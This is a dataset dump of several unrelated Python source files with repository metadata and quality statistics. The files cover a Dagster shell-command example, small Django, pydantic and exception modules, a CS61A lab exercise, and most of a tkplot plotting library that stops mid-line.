0.285714
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
6af81c5dc416905c2b73d44c47c9165d25505e5a
183
py
Python
python_modules/libraries/dagster-shell/dagster_shell_tests/example_shell_command_solid.py
ymrzkrrs/dagster
b5713af752146674d1f96436d0a01363e6834cb7
[ "Apache-2.0" ]
2
2021-06-21T17:50:26.000Z
2021-06-21T19:14:23.000Z
python_modules/libraries/dagster-shell/dagster_shell_tests/example_shell_command_solid.py
ymrzkrrs/dagster
b5713af752146674d1f96436d0a01363e6834cb7
[ "Apache-2.0" ]
1
2021-06-21T18:30:02.000Z
2021-06-25T21:18:39.000Z
python_modules/libraries/dagster-shell/dagster_shell_tests/example_shell_command_solid.py
ymrzkrrs/dagster
b5713af752146674d1f96436d0a01363e6834cb7
[ "Apache-2.0" ]
1
2021-08-18T17:21:57.000Z
2021-08-18T17:21:57.000Z
from dagster import pipeline from dagster_shell import create_shell_command_solid @pipeline def pipe(): a = create_shell_command_solid('echo "hello, world!"', name="a") a()
20.333333
68
0.743169
26
183
4.961538
0.576923
0.170543
0.27907
0.356589
0
0
0
0
0
0
0
0
0.153005
183
8
69
22.875
0.832258
0
0
0
0
0
0.114754
0
0
0
0
0
0
1
0.166667
false
0
0.333333
0
0.5
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
6af8f21e575c9d17346ecf1f501b3b3d66dc2512
208
py
Python
ballir_dicom_manager/exception_handling.py
bashirlab/BaLLIR_DICOM_Manager
b24aab9eb6e551bbc684d78cf578e446a9acd526
[ "MIT" ]
null
null
null
ballir_dicom_manager/exception_handling.py
bashirlab/BaLLIR_DICOM_Manager
b24aab9eb6e551bbc684d78cf578e446a9acd526
[ "MIT" ]
null
null
null
ballir_dicom_manager/exception_handling.py
bashirlab/BaLLIR_DICOM_Manager
b24aab9eb6e551bbc684d78cf578e446a9acd526
[ "MIT" ]
null
null
null
class ArgErrorType(Exception): """Raised when provided argument is of unsupported type.""" pass class UnreadableFileError(Exception): """Raised when pydicom cannot read provided file.""" pass
29.714286
63
0.725962
23
208
6.565217
0.73913
0.198676
0.251656
0
0
0
0
0
0
0
0
0
0.177885
208
7
64
29.714286
0.883041
0.480769
0
0.5
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
ed01ccd062acb077f352ee4f6e79412faab9bbee
104
py
Python
api/tacticalrmm/autotasks/admin.py
infinite8co/tacticalrmm
bd7ce5417ec672552ec3cba325318795ccde972e
[ "MIT" ]
903
2019-10-22T22:56:42.000Z
2022-03-18T14:15:54.000Z
api/tacticalrmm/autotasks/admin.py
infinite8co/tacticalrmm
bd7ce5417ec672552ec3cba325318795ccde972e
[ "MIT" ]
720
2019-12-07T08:11:26.000Z
2022-03-17T21:47:04.000Z
api/tacticalrmm/autotasks/admin.py
infinite8co/tacticalrmm
bd7ce5417ec672552ec3cba325318795ccde972e
[ "MIT" ]
231
2020-02-11T14:14:21.000Z
2022-03-16T21:23:10.000Z
from django.contrib import admin from .models import AutomatedTask admin.site.register(AutomatedTask)
17.333333
34
0.836538
13
104
6.692308
0.692308
0
0
0
0
0
0
0
0
0
0
0
0.105769
104
5
35
20.8
0.935484
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
ed108505650df68b9577a65a95616d45ea6e544f
207
py
Python
lab/lab00/lab00.py
weijiew/cs61a-sp20
73322b87fe40add0350e0076ad3589fbee1f28ec
[ "MIT" ]
4
2020-10-15T13:39:30.000Z
2021-06-22T09:30:16.000Z
lab/lab00/lab00.py
weijiew/cs61a-sp20
73322b87fe40add0350e0076ad3589fbee1f28ec
[ "MIT" ]
null
null
null
lab/lab00/lab00.py
weijiew/cs61a-sp20
73322b87fe40add0350e0076ad3589fbee1f28ec
[ "MIT" ]
null
null
null
def twenty_twenty(): """Come up with the most creative expression that evaluates to 2020, using only numbers and the +, *, and - operators. >>> twenty_twenty() 2020 """ return 2019+1
25.875
72
0.637681
27
207
4.814815
0.777778
0.184615
0
0
0
0
0
0
0
0
0
0.084416
0.256039
207
8
73
25.875
0.75974
0.681159
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0
0
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
1
0
0
5
ed1bc3a06295379d1157e489d75e712cb26bdc92
155
py
Python
bootstrap/helpers.py
Widcket/jinja-bootstrap
d19b9ec8d7c7b9645cd4d4acb79564632e8838ff
[ "Apache-2.0" ]
53
2015-01-17T09:28:47.000Z
2020-02-06T03:12:05.000Z
bootstrap/helpers.py
Widcket/jinja-bootstrap
d19b9ec8d7c7b9645cd4d4acb79564632e8838ff
[ "Apache-2.0" ]
2
2015-11-23T08:57:22.000Z
2016-01-16T06:40:45.000Z
bootstrap/helpers.py
Widcket/jinja-bootstrap
d19b9ec8d7c7b9645cd4d4acb79564632e8838ff
[ "Apache-2.0" ]
13
2015-02-26T13:07:50.000Z
2020-06-17T03:35:21.000Z
""" Helper functions to be used with Django and Jingo """ from django.utils.safestring import mark_safe import re import jinja2 from jingo import register
19.375
49
0.8
24
155
5.125
0.75
0
0
0
0
0
0
0
0
0
0
0.007576
0.148387
155
7
50
22.142857
0.924242
0.316129
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
ed467dbde6637997134d5d1416426c4482ce1457
119
py
Python
ai/app/schema/transcribe.py
0xCompyler/shulker
79fdbdfa17f50fdbff7f7e709a87d8a8ea84cb51
[ "MIT" ]
3
2022-03-09T06:01:25.000Z
2022-03-13T06:35:57.000Z
ai/app/schema/transcribe.py
0xCompyler/shulker
79fdbdfa17f50fdbff7f7e709a87d8a8ea84cb51
[ "MIT" ]
null
null
null
ai/app/schema/transcribe.py
0xCompyler/shulker
79fdbdfa17f50fdbff7f7e709a87d8a8ea84cb51
[ "MIT" ]
null
null
null
from lib2to3.pytree import Base from pydantic import BaseModel class TranscribeBody(BaseModel): youtube_url: str
17
32
0.806723
15
119
6.333333
0.8
0
0
0
0
0
0
0
0
0
0
0.019802
0.151261
119
6
33
19.833333
0.920792
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
9c086a0912e7450fde30899999812a4d94536c44
126,461
py
Python
tkplot.py
bminch/tkplot
d1ed02d18cba3ec1521b202e9c53b64c5402c547
[ "BSD-2-Clause" ]
null
null
null
tkplot.py
bminch/tkplot
d1ed02d18cba3ec1521b202e9c53b64c5402c547
[ "BSD-2-Clause" ]
null
null
null
tkplot.py
bminch/tkplot
d1ed02d18cba3ec1521b202e9c53b64c5402c547
[ "BSD-2-Clause" ]
null
null
null
# ## Copyright (c) 2018-2020, Bradley A. Minch ## All rights reserved. ## ## Redistribution and use in source and binary forms, with or without ## modification, are permitted provided that the following conditions are met: ## ## 1. Redistributions of source code must retain the above copyright ## notice, this list of conditions and the following disclaimer. ## 2. Redistributions in binary form must reproduce the above copyright ## notice, this list of conditions and the following disclaimer in the ## documentation and/or other materials provided with the distribution. ## ## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ## AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ## IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ## ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE ## LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ## CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ## SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ## INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ## CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ## ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ## POSSIBILITY OF SUCH DAMAGE. # import tkinter as tk import numpy as np import math import codecs class tkplot: class curve: def __init__(self, **kwargs): self.data_x = kwargs.get('data_x', np.array([])) self.data_y = kwargs.get('data_y', np.array([])) self.points_x = kwargs.get('points_x', [np.array([])]) self.points_y = kwargs.get('points_y', [np.array([])]) self.name = kwargs.get('name', '') self.yaxis = kwargs.get('yaxis', 'left') self.marker_color = kwargs.get('marker_color', '') self.marker = kwargs.get('marker', '') self.curve_color = kwargs.get('curve_color', '') self.curve_style = kwargs.get('curve_style', '') class y_axis: def __init__(self, **kwargs): self.name = kwargs.get('name', 'left') self.color = kwargs.get('color', '#000000') self.yaxis_mode = kwargs.get('yaxis_mode', 'linear') self.yaxis_sign = 1. self.ylimits_mode = kwargs.get('ylimits_mode', 'auto') self.ylim = kwargs.get('ylim', [0., 1.]) self.ymin = self.ylim[0] self.ymax = self.ylim[1] self.ylabel_value = kwargs.get('ylabel', '') def __init__(self, **kwargs): self.canvas_left = float(kwargs.get('left', 0.)) self.canvas_top = float(kwargs.get('top', 0.)) self.canvas_width = float(kwargs.get('width', 560.)) self.canvas_height = float(kwargs.get('height', 420.)) self.marker_radius = float(kwargs.get('marker_radius', 4.)) self.marker_lineweight = float(kwargs.get('marker_lineweight', 1.)) self.curve_lineweight = float(kwargs.get('curve_lineweight', 1.)) self.tick_length = float(kwargs.get('tick_length', 6.)) self.tick_lineweight = float(kwargs.get('tick_lineweight', 1.)) self.canvas_background_color = kwargs.get('background', '#CDCDCD') self.axes_background_color = kwargs.get('axes_background', '#FFFFFF') self.axes_color = kwargs.get('axes_color', '#000000') self.axes_lineweight = kwargs.get('axes_lineweight', 1.) self.label_font_baseline = float(kwargs.get('baseline', 0.6)) self.label_fontsize = int(kwargs.get('fontsize', 12)) self.label_font = kwargs.get('font', 'Helvetica') self.linear_minor_ticks = kwargs.get('linear_minor_ticks', 'off') self.init_markers(self.marker_radius) self.marker_names = [[' ', 'No marker'], ['.', 'Point'], ['o', 'Circle'], ['x', 'Ex'], ['+', 'Plus'], ['*', 'Star'], ['s', 'Square'], ['d', 'Diamond'], ['v', 'Triangle (down)'], ['^', 'Triangle (up)'], ['<', 'Triangle (left)'], ['>', 'Triangle (right)'], ['p', 'Pentagram'], ['h', 'Hexagram']] self.colors = {'b': '#0000FF', 'g': '#00FF00', 'r': '#FF0000', 'c': '#00FFFF', 'm': '#FF00FF', 'y': '#FFFF00', 'k': '#000000', 'w': '#FFFFFF'} self.color_names = [['b', 'Blue'], ['r', 'Red'], ['g', 'Green'], ['c', 'Cyan'], ['m', 'Magenta'], ['y', 'Yellow'], ['k', 'Black'], ['w', 'White']] self.linestyles = {'-': (), ':': (1, 4), '--': (10, 4), '-.': (10, 4, 1, 4), '-:': (10, 4, 1, 4, 1, 4)} self.linestyle_names = [[' ', 'No line'], ['-', 'Solid'], [':', 'Dotted'], ['-.', 'Dash-dot'], ['-:', 'Dash-dot-dot'], ['--', 'Dashed']] self.multipliers = (1., 1e-3, 1e-6, 1e-9, 1e-12, 1e-15, 1e-18, 1e-21, 1e-24, 1e24, 1e21, 1e18, 1e15, 1e12, 1e9, 1e6, 1e3) self.prefixes = (u'', u'k', u'M', u'G', u'T', u'P', u'E', u'Z', u'Y', u'y', u'z', u'a', u'f', u'p', u'n', u'\xB5', u'm') self.default_color_order = ('b', 'g', 'r', 'c', 'm', 'y') self.default_color_index = 0 self.default_marker = '.' self.default_curve_style = '-' self.curve_id = 0 self.curves = {} self.xaxis_mode = 'linear' self.xaxis_sign = 1. self.xlimits_mode = 'auto' self.xlim = [0., 1.] self.xmin = 0. self.xmax = 1. self.xlabel_value = '' self.yaxes = {} self.yaxes['left'] = self.y_axis() self.left_yaxis = 'left' self.right_yaxis = '' self.update_sizes() self.find_x_ticks() self.find_y_ticks() self.grid_state = 'off' self.dw = 0. self.dh = 0. self.x0 = 0. self.y0 = 0. self.svg_file = None self.svg_indent_level = 1 self.tk_backend() self.root = kwargs.get('parent') if self.root == None: self.root = tk.Tk() self.root.title('tkplot') self.canvas = tk.Canvas(self.root, width = self.canvas_width, height = self.canvas_height, background = self.canvas_background_color, highlightbackground = self.canvas_background_color) self.draw_background() self.draw_axes() self.draw_x_ticks() self.draw_y_ticks() self.draw_axis_labels() self.canvas.pack(fill = 'both', expand = 'yes') self.dw = 2.*float(self.canvas.cget('highlightthickness')) self.dh = self.dw self.canvas.bind('<Configure>', self.resize) def init_markers(self, r = 4.): r_over_sqrt2 = r / math.sqrt(2.) r_over_sqrt3 = r / math.sqrt(3.) pi_over_180 = math.pi / 180. r2 = r * math.sin(pi_over_180 * 18.) / math.sin(pi_over_180 * 54.) self.marker_coords = {} self.marker_coords['.'] = ((-0.5 * r, -0.5 * r), (0.5 * r, 0.5 * r)) self.marker_coords['o'] = ((-r, -r), (r, r)) self.marker_coords['x'] = ((0., 0.), (r_over_sqrt2, -r_over_sqrt2), (0., 0.), (r_over_sqrt2, r_over_sqrt2), (0., 0.), (-r_over_sqrt2, r_over_sqrt2), (0., 0.), (-r_over_sqrt2, -r_over_sqrt2), (0., 0.)) self.marker_coords['+'] = ((0., 0.), (0., -r), (0., 0.), (r, 0.), (0., 0.), (0., r), (0., 0.), (-r, 0.), (0., 0.)) self.marker_coords['*'] = ((0., 0.), (0., -r), (0., 0.), (r_over_sqrt2, -r_over_sqrt2), (0., 0.), (r, 0.), (0., 0.), (r_over_sqrt2, r_over_sqrt2), (0., 0.), (0., r), (0., 0.), (-r_over_sqrt2, r_over_sqrt2), (0., 0.), (-r, 0.), (0., 0.), (-r_over_sqrt2, -r_over_sqrt2), (0., 0.)) self.marker_coords['s'] = ((-r_over_sqrt2, -r_over_sqrt2), (r_over_sqrt2, -r_over_sqrt2), (r_over_sqrt2, r_over_sqrt2), (-r_over_sqrt2, r_over_sqrt2), (-r_over_sqrt2, -r_over_sqrt2)) self.marker_coords['d'] = ((0., -1.25 * r), (r, 0.), (0., 1.25 * r), (-r, 0.), (0., -1.25 * r)) self.marker_coords['v'] = ((0., r), (r * math.cos(pi_over_180 * 150.), -r * math.sin(pi_over_180 * 150.)), (r * math.cos(pi_over_180 * 30.), -r * math.sin(pi_over_180 * 30.)), (0., r)) self.marker_coords['^'] = ((0., -r), (r * math.cos(pi_over_180 * 330.), -r * math.sin(pi_over_180 * 330.)), (r * math.cos(pi_over_180 * 210.), -r * math.sin(pi_over_180 * 210.)), (0., -r)) self.marker_coords['<'] = ((-r, 0.), (r * math.cos(pi_over_180 * 60.), -r * math.sin(pi_over_180 * 60.)), (r * math.cos(pi_over_180 * 300.), -r * math.sin(pi_over_180 * 300.)), (-r, 0.)) self.marker_coords['>'] = ((r, 0.), (r * math.cos(pi_over_180 * 240.), -r * math.sin(pi_over_180 * 240.)), (r * math.cos(pi_over_180 * 120.), -r * math.sin(pi_over_180 * 120.)), (r, 0.)) self.marker_coords['p'] = ((0., -r), (r2 * math.cos(pi_over_180 * 54.), -r2 * math.sin(pi_over_180 * 54.)), (r * math.cos(pi_over_180 * 18.), -r * math.sin(pi_over_180 * 18.)), (r2 * math.cos(pi_over_180 * 342.), -r2 * math.sin(pi_over_180 * 342.)), (r * math.cos(pi_over_180 * 306.), -r * math.sin(pi_over_180 * 306.)), (0., r2), (r * math.cos(pi_over_180 * 234.), -r * math.sin(pi_over_180 * 234.)), (r2 * math.cos(pi_over_180 * 198.), -r2 * math.sin(pi_over_180 * 198.)), (r * math.cos(pi_over_180 * 162.), -r * math.sin(pi_over_180 * 162.)), (r2 * math.cos(pi_over_180 * 126.), -r2 * math.sin(pi_over_180 * 126.)), (0., -r)) self.marker_coords['h'] = ((0., -r), (r_over_sqrt3 * math.cos(pi_over_180 * 60.), -r_over_sqrt3 * math.sin(pi_over_180 * 60.)), (r * math.cos(pi_over_180 * 30.), -r * math.sin(pi_over_180 * 30.)), (r_over_sqrt3, 0.), (r * math.cos(pi_over_180 * 330.), -r * math.sin(pi_over_180 * 330.)), (r_over_sqrt3 * math.cos(pi_over_180 * 300.), -r_over_sqrt3 * math.sin(pi_over_180 * 300.)), (0., r), (r_over_sqrt3 * math.cos(pi_over_180 * 240.), -r_over_sqrt3 * math.sin(pi_over_180 * 240.)), (r * math.cos(pi_over_180 * 210.), -r * math.sin(pi_over_180 * 210.)), (-r_over_sqrt3, 0.), (r * math.cos(pi_over_180 * 150.), -r * math.sin(pi_over_180 * 150.)), (r_over_sqrt3 * math.cos(pi_over_180 * 120.), -r_over_sqrt3 * math.sin(pi_over_180 * 120.)), (0., -r)) def update_sizes(self): self.axes_left = self.canvas_left + 6. * self.label_fontsize self.axes_top = self.canvas_top + 3. * self.label_fontsize self.axes_right = self.canvas_left + self.canvas_width - 6. * self.label_fontsize self.axes_bottom = self.canvas_top + self.canvas_height - 4. * self.label_fontsize self.axes_width = self.axes_right - self.axes_left self.axes_height = self.axes_bottom - self.axes_top self.xrange = self.xlim[1] - self.xlim[0] self.x_pix_per_unit = self.axes_width / self.xrange self.x_epsilon = self.xrange / self.axes_width for yaxis in self.yaxes.keys(): self.yaxes[yaxis].yrange = self.yaxes[yaxis].ylim[1] - self.yaxes[yaxis].ylim[0] self.yaxes[yaxis].y_pix_per_unit = self.axes_height / self.yaxes[yaxis].yrange self.yaxes[yaxis].y_epsilon = self.yaxes[yaxis].yrange / self.axes_height def resize(self, event): self.canvas_width = max(event.width - self.dw, 17. * self.label_fontsize) self.canvas_height = max(event.height - self.dh, 12. * self.label_fontsize) self.refresh_plot() def configure(self, **kwargs): self.canvas_left = float(kwargs.get('left', self.canvas_left)) self.canvas_top = float(kwargs.get('top', self.canvas_top)) self.canvas_width = float(kwargs.get('width', self.canvas_width)) self.canvas_height = float(kwargs.get('height', self.canvas_height)) self.marker_radius = float(kwargs.get('marker_radius', self.marker_radius)) self.marker_lineweight = float(kwargs.get('marker_lineweight', self.marker_lineweight)) self.curve_lineweight = float(kwargs.get('curve_lineweight', self.curve_lineweight)) self.tick_length = float(kwargs.get('tick_length', self.tick_length)) self.tick_lineweight = float(kwargs.get('tick_lineweight', self.tick_lineweight)) self.canvas_background_color = kwargs.get('background', self.canvas_background_color) self.axes_background_color = kwargs.get('axes_background', self.axes_background_color) self.axes_color = kwargs.get('axes_color', self.axes_color) self.axes_lineweight = kwargs.get('axes_lineweight', self.axes_lineweight) self.label_font_baseline = float(kwargs.get('baseline', self.label_font_baseline)) self.label_fontsize = int(kwargs.get('fontsize', self.label_fontsize)) self.label_font = kwargs.get('font', self.label_font) self.linear_minor_ticks = kwargs.get('linear_minor_ticks', 'off') self.init_markers(self.marker_radius) self.canvas.configure(background = self.canvas_background_color, highlightbackground = self.canvas_background_color) self.refresh_plot() def clear_plot(self, **kwargs): yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') if yaxis == 'all': self.curves = {} else: for name in self.curves.keys(): if self.curves[name].yaxis == yaxis: del(self.curves[name]) self.refresh_plot() def draw_now(self): self.root.update() def refresh_plot(self): self.find_axes_limits() self.update_sizes() self.find_x_ticks() self.find_y_ticks() self.erase_plot() self.draw_plot() def draw_plot(self): self.draw_background() self.begin_group(name = 'axes') self.draw_axes_background() self.draw_grid() self.draw_x_ticks() self.draw_y_ticks() self.draw_axes() self.end_group() self.draw_curves() self.draw_axis_labels() def draw_background(self): self.draw_rect(coords = [self.canvas_left, self.canvas_top, self.canvas_left + self.canvas_width, self.canvas_top + self.canvas_height], outline = '', fill = self.canvas_background_color) def draw_axes_background(self): self.draw_rect(coords = [self.axes_left, self.axes_top, self.axes_right, self.axes_bottom], outline = '', fill = self.axes_background_color) def draw_axes(self): self.draw_line(coords = [self.axes_left, self.axes_top, self.axes_right, self.axes_top], fill = self.axes_color, width = self.axes_lineweight) self.draw_line(coords = [self.axes_right, self.axes_top, self.axes_right, self.axes_bottom], fill = self.axes_color, width = self.axes_lineweight) self.draw_line(coords = [self.axes_left, self.axes_bottom, self.axes_right, self.axes_bottom], fill = self.axes_color, width = self.axes_lineweight) self.draw_line(coords = [self.axes_left, self.axes_top, self.axes_left, self.axes_bottom], fill = self.axes_color, width = self.axes_lineweight) def to_canvas_x(self, x): return self.axes_left + self.x_pix_per_unit * (x - self.xlim[0]) def to_canvas_y(self, y, yaxis = 'left'): return self.axes_top + self.yaxes[yaxis].y_pix_per_unit * (self.yaxes[yaxis].ylim[1] - y) def from_canvas_x(self, x): return self.xlim[0] + (x - self.axes_left) / self.x_pix_per_unit def from_canvas_y(self, y, yaxis = 'left'): return self.yaxes[yaxis].ylim[1] - (y - self.axes_top) / self.yaxes[yaxis].y_pix_per_unit def draw_marker(self, x, y, marker, color, name = ''): coords = [] for [dx, dy] in self.marker_coords[marker]: coords.append(x + dx) coords.append(y + dy) if marker == '.': self.draw_oval(coords = coords, fill = self.colors[color], outline = self.colors[color], width = self.marker_lineweight, name = name) elif marker == 'o': self.draw_oval(coords = coords, outline = self.colors[color], width = self.marker_lineweight, name = name) else: self.draw_line(coords = coords, fill = self.colors[color], width = self.marker_lineweight, name = name) def draw_curve(self, curve): yaxis = self.yaxes[curve.yaxis] for j in range(len(curve.points_x)): px = curve.points_x[j] py = curve.points_y[j] if len(px) > 1: pts_in_axes = np.logical_and(np.logical_and(px >= self.xlim[0], px <= self.xlim[1]), np.logical_and(py >= yaxis.ylim[0], py <= yaxis.ylim[1])) where_pts_in_axes = np.where(pts_in_axes)[0] runs_where_pts_in_axes = np.split(where_pts_in_axes, np.where(np.diff(where_pts_in_axes) != 1)[0] + 1) for run in runs_where_pts_in_axes: if len(run) > 1: x = self.axes_left + self.x_pix_per_unit * (px[run] - self.xlim[0]) y = self.axes_top + yaxis.y_pix_per_unit * (yaxis.ylim[1] - py[run]) coords = np.vstack((x, y)).T.flatten().tolist() self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) where_pts_leave_axes = np.where(np.logical_and(pts_in_axes[0:-1], pts_in_axes[1:] == False))[0] for i in where_pts_leave_axes: NW = (py[i + 1] - yaxis.ylim[1]) * (px[i] - self.xlim[0]) - (px[i + 1] - self.xlim[0]) * (py[i] - yaxis.ylim[1]) NE = (py[i + 1] - py[i]) * (self.xlim[1] - px[i]) - (px[i + 1] - px[i]) * (yaxis.ylim[1] - py[i]) SE = (py[i + 1] - py[i]) * (self.xlim[1] - px[i]) - (px[i + 1] - px[i]) * (yaxis.ylim[0] - py[i]) SW = (py[i + 1] - yaxis.ylim[0]) * (px[i] - self.xlim[0]) - (px[i + 1] - self.xlim[0]) * (py[i] - yaxis.ylim[0]) if (NW > 0) and (NE > 0): if py[i] == py[i + 1]: coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis), self.axes_right if px[i + 1] >= self.xlim[1] else self.axes_left, self.axes_top] else: coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis), self.to_canvas_x(px[i] + (px[i + 1] - px[i]) * (yaxis.ylim[1] - py[i]) / (py[i + 1] - py[i])), self.axes_top] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (SE <= 0) and (SW <= 0): if py[i] == py[i + 1]: coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis), self.axes_right if px[i + 1] >= self.xlim[1] else self.axes_left, self.axes_bottom] else: coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis), self.to_canvas_x(px[i] + (px[i + 1] - px[i]) * (yaxis.ylim[0] - py[i]) / (py[i + 1] - py[i])), self.axes_bottom] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (NW <= 0) and (SW > 0): if px[i] == px[i + 1]: coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis), self.axes_left, self.axes_top if py[i + 1] >= yaxis.ylim[1] else self.axes_bottom] else: coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis), self.axes_left, self.to_canvas_y(py[i] + (py[i + 1] - py[i]) * (self.xlim[0] - px[i]) / (px[i + 1] - px[i]), curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (NE <= 0) and (SE > 0): if px[i] == px[i + 1]: coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis), self.axes_right, self.axes_top if py[i + 1] >= yaxis.ylim[1] else self.axes_bottom] else: coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis), self.axes_right, self.to_canvas_y(py[i] + (py[i + 1] - py[i]) * (self.xlim[1] - px[i]) / (px[i + 1] - px[i]), curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) where_pts_enter_axes = np.where(np.logical_and(pts_in_axes[0:-1] == False, pts_in_axes[1:]))[0] for i in where_pts_enter_axes: NW = (py[i] - yaxis.ylim[1]) * (px[i + 1] - self.xlim[0]) - (px[i] - self.xlim[0]) * (py[i + 1] - yaxis.ylim[1]) NE = (py[i] - py[i + 1]) * (self.xlim[1] - px[i + 1]) - (px[i] - px[i + 1]) * (yaxis.ylim[1] - py[i + 1]) SE = (py[i] - py[i + 1]) * (self.xlim[1] - px[i + 1]) - (px[i] - px[i + 1]) * (yaxis.ylim[0] - py[i + 1]) SW = (py[i] - yaxis.ylim[0]) * (px[i + 1] - self.xlim[0]) - (px[i] - self.xlim[0]) * (py[i + 1] - yaxis.ylim[0]) if (NW > 0) and (NE > 0): if py[i] == py[i + 1]: coords = [self.axes_right if px[i] >= self.xlim[1] else self.axes_left, self.axes_top, self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)] else: coords = [self.to_canvas_x(px[i + 1] + (px[i] - px[i + 1]) * (yaxis.ylim[1] - py[i + 1]) / (py[i] - py[i + 1])), self.axes_top, self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (SE <= 0) and (SW <= 0): if py[i] == py[i + 1]: coords = [self.axes_right if px[i] >= self.xlim[1] else self.axes_left, self.axes_bottom, self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)] else: coords = [self.to_canvas_x(px[i + 1] + (px[i] - px[i + 1]) * (yaxis.ylim[0] - py[i + 1]) / (py[i] - py[i + 1])), self.axes_bottom, self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (NW <= 0) and (SW > 0): if px[i] == px[i + 1]: coords = [self.axes_left, self.axes_top if py[i] >= yaxis.ylim[1] else self.axes_bottom, self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)] else: coords = [self.axes_left, self.to_canvas_y(py[i + 1] + (py[i] - py[i + 1]) * (self.xlim[0] - px[i + 1]) / (px[i] - px[i + 1]), curve.yaxis), self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) elif (NE <= 0) and (SE > 0): if px[i] == px[i + 1]: coords = [self.axes_right, self.axes_top if py[i] >= yaxis.ylim[1] else self.axes_bottom, self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)] else: coords = [self.axes_right, self.to_canvas_y(py[i + 1] + (py[i] - py[i + 1]) * (self.xlim[1] - px[i + 1]) / (px[i] - px[i + 1]), curve.yaxis), self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)] self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name) adj_pts_left_of_axes = np.logical_and(px[0:-1] < self.xlim[0], px[1:] < self.xlim[0]) adj_pts_right_of_axes = np.logical_and(px[0:-1] > self.xlim[1], px[1:] > self.xlim[1]) adj_pts_below_axes = np.logical_and(py[0:-1] < yaxis.ylim[0], py[1:] < yaxis.ylim[0]) adj_pts_above_axes = np.logical_and(py[0:-1] > yaxis.ylim[1], py[1:] > yaxis.ylim[1]) adj_pts_on_same_side_of_axes = np.logical_or(np.logical_or(adj_pts_left_of_axes, 